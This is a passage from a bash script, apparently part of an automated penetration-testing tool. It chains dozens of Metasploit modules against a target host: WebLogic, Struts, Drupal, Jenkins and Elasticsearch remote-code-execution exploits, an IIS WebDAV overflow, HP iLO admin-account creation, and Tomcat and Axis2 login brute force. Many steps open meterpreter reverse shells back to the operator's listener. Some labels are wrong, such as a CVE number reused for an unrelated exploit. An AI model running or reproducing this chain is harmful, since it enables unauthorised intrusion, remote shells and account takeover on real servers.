echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null
|
||||
|
||||
if [[ "$MSF_LEGACY_WEB_EXPLOITS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JBOSS VULN SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/jboss_vulnscan; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; set PAYLOAD windows/meterpreter/reverse_tcp; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null
|
||||
#echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
#echo -e "$OKRED RUNNING MS15-034 HTTP.SYS MEMORY LEAK EXPLOIT $RESET"
|
||||
#echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
#msfconsole -q -x "use scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw
|
||||
#sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.txt 2> /dev/null
|
||||
#rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING AXIS2 ADMIN BRUTE FORCE SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/axis_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg USERNAME admin; setg PASS_FILE "$PASS_FILE"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING AXIS2 AUTHENTICATED DEPLOYER RCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/axis2_deployer; setg RHOSTS "$TARGET"; set FingerprintCheck false; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null
|
||||
